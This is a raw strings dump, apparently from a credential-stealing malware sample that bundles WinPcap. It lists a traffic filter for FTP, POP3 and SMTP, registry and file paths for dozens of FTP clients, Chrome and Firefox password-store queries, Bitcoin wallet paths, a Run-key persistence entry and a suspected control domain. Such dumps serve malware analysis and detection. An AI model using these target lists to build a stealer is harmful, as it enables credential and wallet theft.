but previous len = %u</pre><pre>IoCreateDevice status = %x</pre><pre>NPF_IoControl: BIOCQUERYOID completed, BytesWritten = %u</pre><pre>NPF_IoControl: Bogus return from NdisRequest (query): Bytes Written (%u) > InfoBufferLength (%u)!!</pre><pre>NPF_IoControl: BIOCSETOID completed, BytesRead = %u</pre><pre>NPF_IoControl: Error installing the BPF filter. The filter contains TME extensions, not supported on 64bit platforms.</pre><pre>NPF_IoControl: Operative instructions=%u</pre><pre>KeGetCurrentIrql() == PASSIVE_LEVEL</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\packetntx\driver\openclos.c</pre><pre>NPF_Open: Opened Instances: %u</pre><pre>NPF_Open: Opened the device, Status=%x</pre><pre>NPF_Cleanup: Opened Instances: %u</pre><pre>Received on CPU %d</pre><pre>HeaderBufferSize=%u, LookAheadBuffer=%p, LookaheadBufferSize=%u, PacketSize=%u</pre><pre>NPF_Write: Max frame size = %u, packet size = %u</pre><pre>NPF_Write: Another Send operation is in progress, aborting.</pre><pre>NPF: BufferedWrite, UserBuff=%p, Size=%u</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\packetntx\driver\bin\i386\npf.pdb</pre><pre>ZwQueryValueKey</pre><pre>ZwEnumerateKey</pre><pre>ZwOpenKey</pre><pre>ntoskrnl.exe</pre><pre>HAL.dll</pre><pre>NDIS.SYS</pre><pre>0$0)02090</pre><pre>http://ocsp.verisign.com0</pre><pre>"http://crl.verisign.com/tss-ca.crl0</pre><pre>Thawte Certification1</pre><pre>0http://crl.verisign.com/ThawteTimestampingCA.crl0</pre><pre>.Class 3 Public Primary Certification Authority0</pre><pre>2Terms of use at https://www.verisign.com/rpa (c)041.0,</pre><pre>https://www.verisign.com/rpa01</pre><pre>http://crl.verisign.com/pca3.crl0</pre><pre>.Class 3 Public Primary Certification Authority</pre><pre>/http://CSC3-2004-crl.verisign.com/CSC3-2004.crl0D</pre><pre>https://www.verisign.com/rpa0</pre><pre>http://ocsp.verisign.com0?</pre><pre>3http://CSC3-2004-aia.verisign.com/CSC3-2004-aia.cer0</pre><pre>Dhttp://crl.microsoft.com/pki/crl/products/MicrosoftCodeVerifRoot.crl0</pre><pre>n.aAHu</pre><pre>`.rdata</pre><pre>@.data</pre><pre>@.reloc</pre><pre>L$.Qf</pre><pre>mscoree.dll</pre><pre>.mixcrt</pre><pre>KERNEL32.DLL</pre><pre>kernel32.dll</pre><pre>@(#) $Header: /tcpdump/master/libpcap/scanner.l,v 1.110.2.2 2008/02/06 10:21:47 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/savefile.c,v 1.168.2.10 2008-10-06 15:38:39 gianluca Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/pcap.c,v 1.112.2.12 2008-09-22 20:16:01 guy Exp $ (LBL)</pre><pre>4.1.1</pre><pre>WinPcap version %s, based on %s</pre><pre>WinPcap version %s (packet.dll version %s), based on %s</pre><pre>@(#) $Header: /tcpdump/master/libpcap/pcap-win32.c,v 1.34.2.8 2008-05-21 22:11:26 gianluca Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/optimize.c,v 1.90.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/nametoaddr.c,v 1.82.2.1 2008/02/06 10:21:47 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/inet.c,v 1.75.2.4 2008-04-20 18:19:24 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/grammar.y,v 1.99.2.2 2007/11/18 02:04:55 guy Exp $ (LBL)</pre><pre>$$$88$$$8</pre><pre>"#-./0123</pre><pre>@(#) $Header: /tcpdump/master/libpcap/gencode.c,v 1.290.2.16 2008-09-22 20:16:01 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/fad-win32.c,v 1.15 2007/09/25 20:34:36 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/etherent.c,v 1.23 2006/10/04 18:09:22 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/bpf_image.c,v 1.27.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/bpf/net/bpf_filter.c,v 1.45.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/bpf_dump.c,v 1.14.4.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>%u %u %u %u</pre><pre>{ 0x%x, %d, %d, 0xx },</pre><pre>[x %d]</pre><pre>#0x%x</pre><pre>4*([%d]&0xf)</pre><pre>M[%d]</pre><pre>(d) %-8s %-16s jt %d</pre><pre>jf %d</pre><pre>(d) %-8s %s</pre><pre>malloc: %s</pre><pre>PacketGetAdapterNames: %s</pre><pre>pcap_compile cannot generate filters for a TurboCap port when the PPI linktype is used.</pre><pre>unknown data link type %d</pre><pre>unsupported protocol over mpls</pre><pre>IEEE 802.15.4 link-layer type filtering not implemented</pre><pre>'tcp' modifier applied to %s</pre><pre>'sctp' modifier applied to %s</pre><pre>'udp' modifier applied to %s</pre><pre>'icmp' modifier applied to %s</pre><pre>'igmp' modifier applied to %s</pre><pre>'igrp' modifier applied to %s</pre><pre>'pim' modifier applied to %s</pre><pre>'vrrp' modifier applied to %s</pre><pre>'icmp6' modifier applied to %s</pre><pre>'ah' modifier applied to %s</pre><pre>'esp' modifier applied to %s</pre><pre>'esis' modifier applied to %s</pre><pre>'isis' modifier applied to %s</pre><pre>'clnp' modifier applied to %s</pre><pre>'stp' modifier applied to %s</pre><pre>'netbeui' modifier applied to %s</pre><pre>'radio' modifier applied to %s</pre><pre>'ip' modifier applied to ip6 %s</pre><pre>'rarp' modifier applied to ip6 %s</pre><pre>'arp' modifier applied to ip6 %s</pre><pre>'decnet' modifier applied to ip6 %s</pre><pre>unknown ip proto '%s'</pre><pre>unknown ether proto '%s'</pre><pre>unknown osi proto '%s'</pre><pre>'protochain' not supported with 802.11</pre><pre>unsupported proto to gen_protochain</pre><pre>'udp proto' is bogus</pre><pre>'tcp proto' is bogus</pre><pre>unknown network '%s'</pre><pre>unknown ether host '%s'</pre><pre>unknown FDDI host '%s'</pre><pre>unknown token ring host '%s'</pre><pre>unknown 802.11 host '%s'</pre><pre>unknown Fibre Channel host '%s'</pre><pre>only ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel supports link-level host name</pre><pre>unknown host '%s'</pre><pre>unknown host '%s'%s</pre><pre>illegal qualifier of 'port'</pre><pre>unknown port '%s'</pre><pre>port '%s' is tcp</pre><pre>port '%s' is sctp</pre><pre>port '%s' is udp</pre><pre>illegal qualifier of 'portrange'</pre><pre>unknown port in range '%s'</pre><pre>port in range '%s' is tcp</pre><pre>port in range '%s' is sctp</pre><pre>port in range '%s' is udp</pre><pre>'gateway' not supported in this configuration</pre><pre>unknown protocol: %s</pre><pre>non-network bits set in "%s mask %s"</pre><pre>non-network bits set in "%s/%d"</pre><pre>invalid ip6 address %s</pre><pre>%s resolved to multiple address</pre><pre>mask length must be <= %u</pre><pre>ethernet addresses supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel</pre><pre>unsupported index operation</pre><pre>IPv6 upper-layer protocol is not supported by proto[x]</pre><pre>only link-layer/IP broadcast filters supported</pre><pre>link-layer multicast filters supported only on ethernet/FDDI/token ring/ARCNET/802.11/ATM LANE/Fibre Channel</pre><pre>inbound/outbound not supported on linktype %d</pre><pre>libpcap was compiled without pf support</pre><pre>libpcap was compiled on a machine without pf support</pre><pre>802.11 link-layer types supported only on 802.11</pre><pre>frame direction supported only with 802.11 headers</pre><pre>aid supported only on ARCnet</pre><pre>no VLAN support for data link type %d</pre><pre>no MPLS support for data link type %d</pre><pre>'vpi' supported only on raw ATM</pre><pre>'vci' supported only on raw ATM</pre><pre>'callref' supported only on raw ATM</pre><pre>'metac' supported only on raw ATM</pre><pre>'bcc' supported only on raw ATM</pre><pre>'oam4sc' supported only on raw ATM</pre><pre>'oam4ec' supported only on raw ATM</pre><pre>'sc' supported only on raw ATM</pre><pre>'ilmic' supported only on raw ATM</pre><pre>'lane' supported only on raw ATM</pre><pre>'llc' supported only on raw ATM</pre><pre>'fisu' supported only on MTP2</pre><pre>'lssu' supported only on MTP2</pre><pre>'msu' supported only on MTP2</pre><pre>'sio' supported only on SS7</pre><pre>sio value %u too big; max value = 255</pre><pre>'opc' supported only on SS7</pre><pre>opc value %u too big; max value = 16383</pre><pre>'dpc' supported only on SS7</pre><pre>dpc value %u too big; max value = 16383</pre><pre>'sls' supported only on SS7</pre><pre>sls value %u too big; max value = 15</pre><pre>'oam' supported only on raw ATM</pre><pre>'oamf4' supported only on raw ATM</pre><pre>'connectmsg' supported only on raw ATM</pre><pre>'metaconnect' supported only on raw ATM</pre><pre>'port' modifier applied to ip host</pre><pre>'portrange' modifier applied to ip host</pre><pre>%d-%d</pre><pre>%d.%d</pre><pre>malformed decnet address '%s'</pre><pre>decnet name support not included, '%s' cannot be translated</pre><pre>%s for block-local relative jump: off=%d</pre><pre>malloc() failed: %s</pre><pre>%s '%s' %s</pre><pre>Error when listing files: does folder '%s' exist?</pre><pre>%s '%s' %s %s</pre><pre>[%[1234567890:.]]:%[^/]/%s</pre><pre>[%[1234567890:.]]/%s</pre><pre>%[^/:]:%[^/]/%s</pre><pre>%[^/]/%s</pre><pre>Source type not supported</pre><pre>getaddrinfo() %s</pre><pre>(%s) and not (host %s and host %s and port %s and port %s) and not (host %s and host %s and port %s)</pre><pre>not (host %s and host %s and port %s and port %s) and not (host %s and host %s and port %s)</pre><pre>TcApi.dll</pre><pre>TcQueryPortList</pre><pre>TcFreePortList</pre><pre>TcPortGetName</pre><pre>TcPortGetDescription</pre><pre>TcPacketsBufferCreate</pre><pre>TcPacketsBufferDestroy</pre><pre>TcPacketsBufferQueryNextPacket</pre><pre>TcPacketsBufferCommitNextPacket</pre><pre>Error opening TurboCap adapter: %s</pre><pre>Error enabling reception on a TurboCap instance: %s</pre><pre>Error setting the read timeout a TurboCap instance: %s</pre><pre>Getting the non blocking status is not available for TurboCap ports</pre><pre>Setting the non blocking status is not available for TurboCap ports</pre><pre>send error: the TurboCap API does not support packets larger than 64k</pre><pre>send error: TcPacketsBufferCreate failure: %s (x)</pre><pre>send error: TcInstanceTransmitPackets failure: %s (x)</pre><pre>send error: TcPacketsBufferCommitNextPacket failure: %s (x)</pre><pre>read error, TcInstanceReceivePackets failure: %s (x)</pre><pre>read error, TcPacketsBufferQueryNextPacket failure: %s (x)</pre><pre>TurboCap error setting the mintocopy: %s (x)</pre><pre>Mode %u not supported by TurboCap devices. TurboCap only supports capture.</pre><pre>TurboCap error in TcInstanceQueryStatistics: %s (x)</pre><pre>TurboCap error in TcStatisticsQueryValue: %s (x)</pre><pre>setfilter, unable to install the filter: %s</pre><pre>PacketGetStats error: %s</pre><pre>Error opening adapter: %s</pre><pre>Cannot determine the network type: %s</pre><pre>Error calling PacketSetMinToCopy: %s</pre><pre>Driver error: cannot set bpf filter: %s</pre><pre>PacketSetReadTimeout: %s</pre><pre>IEEE 802.15.4 with non-ASK PHY data</pre><pre>Bluetooth HCI UART transport layer plus pseudo-header</pre><pre>IEEE 802.15.4</pre><pre>IEEE 802.15.4 with Linux padding</pre><pre>Bluetooth HCI UART transport layer</pre><pre>Juniper Passive Monitor PIC</pre><pre>can't perform operation on activated capture</pre><pre>%s: %s</pre><pre>%s is not one of the DLTs supported by this device</pre><pre>DLT %d is not one of the DLTs supported by this device</pre><pre>That device doesn't support promiscuous mode</pre><pre>That device doesn't support monitor mode</pre><pre>That operation is supported only in monitor mode</pre><pre>Unknown error: %d</pre><pre>Sending packets isn't supported on savefiles</pre><pre>Setting direction is not supported on savefiles</pre><pre>error reading dump file: %s</pre><pre>truncated dump file; tried to read %u captured bytes, only got %lu</pre><pre>Can't write to %s: %s</pre><pre>%s: link-layer type %d isn't supported in savefiles</pre><pre>bogus IPv6 address %s</pre><pre>bogus ethernet address %s</pre><pre>illegal token: %s</pre><pre>illegal char '%c'</pre><pre>%sUnable to get the exact error message</pre><pre>%s%s (code %d)</pre><pre>%s (code %d)</pre><pre>Is the server properly installed on %s? connect() failed: %s</pre><pre>getaddrinfo(): socket type not supported</pre><pre>getaddrinfo(): multicast addresses are not valid when using TCP streams</pre><pre>Cannot retrieve the extended statistics from a file or a TurboCap port</pre><pre>PacketGetStatsEx error: %s</pre><pre>Cannot transmit a queue to an offline capture or to a TurboCap port</pre><pre>Impossible to set user buffer while reading from a file or on a TurboCap port</pre><pre>Error: invalid size %d</pre><pre>live dump needs a physical interface supported by the NPF driver</pre><pre>wrong interface type. A physical interface supported by the NPF driver is needed</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\wpcap\PRJ\Release\x86\wpcap.pdb</pre><pre>WS2_32.dll</pre><pre>packet.dll</pre><pre>KERNEL32.dll</pre><pre>GetProcessHeap</pre><pre>GetCPInfo</pre><pre>GetConsoleOutputCP</pre><pre>wpcap.dll</pre><pre>> >$>(>,></pre><pre>: :$:(:,:0:4:</pre><pre>7*848=8`8</pre><pre>?'?,?0?4?]?</pre><pre>3 3<3><pre>.Xa6(</pre><pre>Export</pre><pre>system32\drivers\NPF.sys</pre><pre>SYSTEM\CurrentControlSet\Services\%s</pre><pre>\\.\%s</pre><pre>\\.\Global\%s</pre><pre>npp\ndisnpp.dll</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\packetNtx\Dll\Project\Release\x86\Packet.pdb</pre><pre>VERSION.dll</pre><pre>NPPTools.dll</pre><pre>iphlpapi.dll</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>RegEnumKeyW</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>1"1 141;1</pre><pre>435:5`5|5</pre><pre>0&10191\1</pre><pre>9.:4:8:<:><pre>= =@=`=|=</pre><pre>: this object doesn't support resynchronization</pre><pre>StreamTransformation: this object doesn't support random access</pre><pre>CryptoMaterial: this object does not support precomputation</pre><pre>GeneratableCryptoMaterial: this object does not support key/parameter generation</pre><pre>PK_MessageEncodingMethod: this signature scheme does not support message recovery</pre><pre>/index.html</pre><pre>HTTP/1.1</pre><pre>text/html; charset=windows-1251</pre><pre><p>The requested URL</p></pre><pre>HTTP/1.1</pre><pre>Clean up all keys.</pre><pre>Use next keys:</pre><pre>REG keys[</pre><pre>Use REG keys:</pre><pre>Gen new port key!</pre><pre>Gen new job key!</pre><pre>Gen new list key!</pre><pre>/dev/index.html</pre><pre>No i key:</pre><pre>No m key:</pre><pre>No p key:</pre><pre>No j key:</pre><pre>No r key:</pre><pre>Err in ID key: decr:</pre><pre>Err in ID key: check</pre><pre>Err in ID key: invalid</pre><pre>abrora.biz</pre><pre>Check Compromzed REG key:</pre><pre>Compromzed REG key:</pre><pre>C:\boost\include\boost-1_47\boost/exception/detail/exception_ptr.hpp</pre><pre>Keys3</pre><pre>Appkey</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</pre><pre>webscanx</pre><pre>hkcmd</pre><pre>firefox</pre><pre>em_exec</pre><pre>CrashReport</pre><pre>\tmp.exe</pre><pre>*.exe</pre><pre>explorer.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><pre>Mozilla/5.0 (Windows; U; Windows NT</pre><pre>; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17</pre><pre>SMTP:</pre><pre>%d.%d.%d.%d</pre><pre>!#$%&'* -/=?^_`{|}~</pre><pre>.in-addr.arpa</pre><pre>: Maximum attempts exeeded</pre><pre>%s, %d %s %d d:d:d %cdd</pre><pre>dddddd</pre><pre>ddddd</pre><pre>x.8lx$.8lx$x@%s</pre><pre>----=_NextPart_d_X_.8lX..8lX</pre><pre>password</pre><pre>F/c "start Í%\</pre><pre>&& %windir%\explorer Í%\</pre><pre>%SystemRoot%\system32\shell32.dll</pre><pre>npf.sys</pre><pre>Packet.dll</pre><pre>( tcp dst port 21 ) or ( tcp dst port 110 ) or ( tcp dst port 25 )</pre><pre>smtp</pre><pre>pop3_smtp</pre><pre>HostPassword</pre><pre>HostPort</pre><pre>32BitFtp.ini</pre><pre>0003DFTP</pre><pre>3D-FTP</pre><pre>sites.ini</pre><pre>\3D-FTP</pre><pre>Password</pre><pre>Port</pre><pre>port</pre><pre>QData.dat</pre><pre>ESTdb2.dat</pre><pre>\Estsoft\ALFTP</pre><pre>TYPE = SFTP</pre><pre>sftp</pre><pre>SET PASS</pre><pre>bitkinex.ds</pre><pre>LastPassword</pre><pre>LastPort</pre><pre>BlazeFtp</pre><pre>site.dat</pre><pre>\BlazeFtp</pre><pre>Software\FlashPeak\BlazeFtp\Settings</pre><pre>*.dat</pre><pre>*.bps</pre><pre>Software\BPFTP</pre><pre>Chrome</pre><pre>ftp://</pre><pre>origin_url</pre><pre>password_value</pre><pre>logins</pre><pre>SQLite format 3</pre><pre>Web Data</pre><pre>Login Data</pre><pre>Google\Chrome</pre><pre>ChromePlus</pre><pre>Nichrome</pre><pre>MapleStudio\ChromePlus</pre><pre>browser.yandex</pre><pre>Software\ChromePlus</pre><pre>_Password</pre><pre>FtpServer</pre><pre>FtpUserName</pre><pre>FtpPassword</pre><pre>_FtpPassword</pre><pre>FtpDirectory</pre><pre>FtpDescription</pre><pre>Software\NCH Software\ClassicFTP\FTPAccounts</pre><pre>FTP destination server</pre><pre>FTP destination user</pre><pre>FTP destination password</pre><pre>FTP destination catalog</pre><pre>FTP destination port</pre><pre>FTP profiles</pre><pre>Software\FTPWare\COREFTP\Sites</pre><pre>ftps</pre><pre>CSMFTPItem</pre><pre>sm.dat</pre><pre>\GlobalSCAPE\CuteFTP</pre><pre>\GlobalSCAPE\CuteFTP Pro</pre><pre>\GlobalSCAPE\CuteFTP Lite</pre><pre>\CuteFTP</pre><pre>CUTEFTP</pre><pre>Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar</pre><pre>user.config</pre><pre>*.duck</pre><pre>Nickname</pre><pre>sites.xml</pre><pre>DeluxeFTP</pre><pre>FTP-Now</pre><pre>FTPNow</pre><pre>FTP Now</pre><pre>LOGIN</pre><pre>PASSWORD</pre><pre>PORT</pre><pre>*.oxc</pre><pre>*.oll</pre><pre>ftplast.osd</pre><pre>EasyFTP</pre><pre>SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32</pre><pre>\Plugins\FTP\Hosts</pre><pre>\SavedDialogHistory\FTPHost</pre><pre>FTPList.db</pre><pre>DefaultPassword</pre><pre>Software\Sota\FFFTP</pre><pre>Software\Sota\FFFTP\Options</pre><pre>Server.Port</pre><pre>Server.Pass</pre><pre>Server.User</pre><pre>Server.Host</pre><pre>Last Server Port</pre><pre>Last Server Pass</pre><pre>Sites.dat</pre><pre>Quick.dat</pre><pre>History.dat</pre><pre>ServerPass</pre><pre>SharedSettings.ccs</pre><pre>SharedSettings_1_0_5.ccs</pre><pre>SharedSettings.sqlite</pre><pre>SharedSettings_1_0_5.sqlite</pre><pre>FreshFTP</pre><pre>*.SMF</pre><pre>FtpSite.xml</pre><pre>QuickFtp</pre><pre>FTP Commander</pre><pre>usessh</pre><pre>ftplist.txt</pre><pre>FTP Navigator</pre><pre>*.prf</pre><pre>FTP CONTROL</pre><pre>Login</pre><pre>PasswordType</pre><pre>CFTPToolBarComboBoxButton</pre><pre>profiles.xml</pre><pre>\FTP Explorer</pre><pre>Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224</pre><pre>Software\FTP Explorer\Profiles</pre><pre>ftpx</pre><pre>Software\MAS-Soft\FTPInfo\Setup</pre><pre>ServerList.xml</pre><pre>\FTPInfo</pre><pre>RushSite.xml</pre><pre>\FTPRush</pre><pre>FTPShell</pre><pre>ftpshell.fsi</pre><pre>servers.xml</pre><pre>\FTPGetter</pre><pre>server_user_password</pre><pre>server_port</pre><pre>SM.arch</pre><pre>GoFTP</pre><pre>Goftp Rocks 91802sfaiolpqikeu39</pre><pre>Connections.txt</pre><pre>MS IE FTP Passwords</pre><pre>pstorec.dll</pre><pre>advapi32.dll</pre><pre>sites.dat</pre><pre>unleap.exe</pre><pre>\LeapWare\LeapFTP</pre><pre>LeechFTP Bookmark File.</pre><pre>bookmark.dat</pre><pre>Software\LeechFTP</pre><pre>LeechFTP</pre><pre>LINASFTP1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ</pre><pre>Software\LinasFTP\Site Manager</pre><pre>Mozilla</pre><pre>nss3.dll</pre><pre>PK11_GetInternalKeySlot</pre><pre>sqlite3_close</pre><pre>sqlite3_column_blob</pre><pre>sqlite3_column_bytes</pre><pre>sqlite3_prepare</pre><pre>sqlite3_step</pre><pre>SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins</pre><pre>mozsqlite3.dll</pre><pre>sqlite3.dll</pre><pre>sqlite3_open</pre><pre>signons.sqlite</pre><pre>signons.txt</pre><pre>signons2.txt</pre><pre>signons3.txt</pre><pre>\profiles.ini</pre><pre>PathToExe</pre><pre>Mozilla\Firefox</pre><pre>Firefox</pre><pre>Software\Mozilla</pre><pre>SeaMonkey</pre><pre>Mozilla\SeaMonkey</pre><pre>Mozilla\Profiles</pre><pre>remote password</pre><pre>remote port</pre><pre>My FTP</pre><pre>project.ini</pre><pre>klfhuw%$#%fgjlvf</pre><pre>NDSites.ini</pre><pre>FTP .Link\shell\open\command</pre><pre>*.fpl</pre><pre>xxx.xiles.net</pre><pre>ftpsite.ini</pre><pre>NppFTP.xml</pre><pre>nppftp</pre><pre>MasterPass</pre><pre>user_pass</pre><pre>host_port</pre><pre>SQLite3</pre><pre>bmk_ftp</pre><pre>NovaFTP.db</pre><pre>\INSoftware\NovaFTP</pre><pre>SiteInfo.QFP</pre><pre>PortNumber</pre><pre>SOFTWARE\Robo-FTP 3.8\FTPServers</pre><pre>SOFTWARE\Robo-FTP 3.7\FTPServers</pre><pre>S:"Password"</pre><pre>D:"Transfer Port"</pre><pre>*.ini</pre><pre>*.xml</pre><pre>Msi.dll</pre><pre>{74FF1730-B1F2-4D88-926B-1568FAE61DB7}</pre><pre>\SmartFTP</pre><pre>Favorites.dat</pre><pre>Software\FTPClient\Sites</pre><pre>Software\SoftX.org\FTPClient\Sites</pre><pre>Staff-FTP</pre><pre>C87BC961-AAF9-11d2-8A80-0080ADB32FF4</pre><pre>sites.db</pre><pre>CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32</pre><pre>\Whisper Technology\FTP Surfer</pre><pre>TurboFTP@</pre><pre>TurboFTP@usa.net</pre><pre>turboftp@</pre><pre>Software\TurboFTP</pre><pre>\TurboFTP</pre><pre>addrbk.dat</pre><pre>quick.dat</pre><pre>PassWord</pre><pre>Software\South River Technologies\WebDrive\Connections</pre><pre>Software\Cryer\WebSitePublisher</pre><pre>WinFTP</pre><pre>your.name@your.server.com</pre><pre>FTPServers.Servers1_FTPServers</pre><pre>_PassWord</pre><pre>_Port</pre><pre>wiseftpsrvs.bin</pre><pre>wiseftpsrvs.ini</pre><pre>wiseftp.ini</pre><pre>SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}</pre><pre>SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}</pre><pre>WS_FTP</pre><pre>\win.ini</pre><pre>Ipswitch\WS_FTP</pre><pre>Software\Ghisler\Windows Commander</pre><pre>\Windows Commander</pre><pre>\wcx_ftp.ini</pre><pre>FtpIniName</pre><pre>*.xfp</pre><pre>FAR Manager FTP</pre><pre>Windows/Total Commander</pre><pre>TurboFTP</pre><pre>WebSitePublisher</pre><pre>SoftX FTP Client</pre><pre>LeapFTP</pre><pre>32bit FTP</pre><pre>FTP Control</pre><pre>CuteFTP</pre><pre>FFFTP</pre><pre>Core FTP</pre><pre>WebDrive</pre><pre>Classic FTP</pre><pre>FTP Explorer</pre><pre>SmartFTP</pre><pre>FreeFTP/DirectFTP</pre><pre>FTPRush</pre><pre>FTPGetter</pre><pre>ALFTP</pre><pre>3DFTP</pre><pre>XFTP</pre><pre>TFTPInfo</pre><pre>MyFTP</pre><pre>NovaFTP</pre><pre>&#xX;</pre><pre></pre><pre>%s="%s"</pre><pre>%s='%s'</pre><pre><!--%s--></pre><pre><![CDATA[%s]]></pre><pre>version="%s"</pre><pre>encoding="%s"</pre><pre>standalone="%s"</pre><pre>crypt32.dll</pre><pre>%Documents and Settings%</pre><pre>\Application Data\Bitcoin\wallet.dat</pre><pre>C:\Users</pre><pre>\AppData\Roaming\Bitcoin\wallet.dat</pre><pre>GetKeyboardState</pre><pre>SetKeyboardState</pre><pre>KeySize</pre><pre>: this object does't support a special last block</pre><pre>NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes</pre><pre>: this object doesn't support multiple channels</pre><pre>is not a valid key length</pre><pre>InvertibleRSAFunction: computational error during private key operation</pre><pre>TF_SignerBase: this algorithm does not support messsage recovery or the key is too short</pre><pre>TF_SignerBase: the recoverable message part is too long for the given key and algorithm</pre><pre>for this key</pre><pre>: this key is too short to encrypt any messages</pre><pre>for this public key</pre><pre>PK_Signer: key too short for this signature scheme</pre><pre>operation failed with error</pre><pre>?#%X.y</pre><pre>.?AVwindows_file_codecvt@@</pre><pre>zcÁ</pre><pre>.PAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@</pre><pre>.?AV?$sp_ms_deleter@V?$connection@Vhttp_simple_client@http@net_utils@@@net_keys@@@detail@boost@@</pre><pre>.?AV?$typeid_wrapper@V?$stream_socket_service@Vtcp@ip@asio@boost@@@asio@boost@@@detail@asio@boost@@</pre><pre>.?AVmoniker_helper@monkeys@@</pre><pre>.?AVmonkey_swap_nibbles@monkeys@@</pre><pre>.?AVmonkey_xor@monkeys@@</pre><pre>.?AVmonkey_running_xor@monkeys@@</pre><pre>.?AVmonkey_swap@monkeys@@</pre><pre>.?AVmonkey_reverse@monkeys@@</pre><pre>.?AVmonkey_roll_n@monkeys@@</pre><pre>.?AVmonkey_bits_pack@monkeys@@</pre><pre>.?AVmonkey_wave@monkeys@@</pre><pre>.?AV?$bind_t@_NV?$mf4@_NVhttp_simple_client@http@net_utils@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@HII@_mfi@boost@@V?$list5@U?$arg@$00@boost@@V?$value@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@_bi@2@V?$value@H@42@V542@V542@@_bi@3@@_bi@boost@@</pre><pre>.?AV?$bind_t@_NV?$mf2@_NV?$proxy@Vhttp_simple_client@http@net_utils@@@net_keys@@II@_mfi@boost@@V?$list3@V?$value@PAV?$proxy@Vhttp_simple_client@http@net_utils@@@net_keys@@@_bi@boost@@V?$value@I@23@V423@@_bi@3@@_bi@boost@@</pre><pre>.?AV?$typeid_wrapper@V?$socket_acceptor_service@Vtcp@ip@asio@boost@@@asio@boost@@@detail@asio@boost@@</pre><pre>.?AV?$typeid_wrapper@V?$resolver_service@Vtcp@ip@asio@boost@@@ip@asio@boost@@@detail@asio@boost@@</pre><pre>.?AV?$bind_t@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$cmf0@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@Vreg_keys_holder@reg_win@@@_mfi@boost@@V?$list1@U?$arg@$00@boost@@@_bi@5@@_bi@boost@@</pre><pre>.?AV?$bind_t@_NP6A_NAAVholder_key@reg_win@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABVparser_holder@ftp_locker@ftp_parser@@@ZV?$list3@U?$arg@$00@boost@@U?$arg@$01@2@V?$value@Vparser_holder@ftp_locker@ftp_parser@@@_bi@2@@_bi@boost@@@_bi@boost@@</pre><pre>.?AV?$bind_t@_NP6A_NAAVholder_key@reg_win@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@11ABVparser_holder@ftp_locker@ftp_parser@@@ZV?$list5@U?$arg@$00@boost@@U?$arg@$01@2@V?$value@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@_bi@2@V452@V?$value@Vparser_holder@ftp_locker@ftp_parser@@@52@@_bi@boost@@@_bi@boost@@</pre><pre>.?AUNoChannelSupport@BufferedTransformation@CryptoPP@@</pre><pre>.?AVInvalidKeyLength@CryptoPP@@</pre><pre>.?AVPublicKeyAlgorithm@CryptoPP@@</pre><pre>.?AVPrivateKeyAlgorithm@CryptoPP@@</pre><pre>.?AVPrivateKey@CryptoPP@@</pre><pre>.?AV?$ASN1CryptoMaterial@VPrivateKey@CryptoPP@@@CryptoPP@@</pre><pre>.?AVPKCS8PrivateKey@CryptoPP@@</pre><pre>.?AVPublicKey@CryptoPP@@</pre><pre>.?AV?$ASN1CryptoMaterial@VPublicKey@CryptoPP@@@CryptoPP@@</pre><pre>.?AVX509PublicKey@CryptoPP@@</pre><pre>.?AV?$VariableKeyLength@$0BA@$0BA@$0CA@$07$03$0A@@CryptoPP@@</pre><pre>.?AVSimpleKeyingInterface@CryptoPP@@</pre><pre>.?AV?$SimpleK